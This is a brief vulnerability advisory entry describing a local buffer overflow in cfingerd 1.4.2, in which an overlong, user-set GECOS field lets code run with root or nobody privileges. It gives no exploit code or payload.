Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow

// source: https://www.securityfocus.com/bid/651/info

Under systems that allow the user to change his GECOS field from the password file and do not limit its length cfingerd is vulnerable to a local root (or nobody) buffer overflow.
By setting a carefully designed GECOS field it is possible to execute arbitrary code with root (or nobody ) privileges.
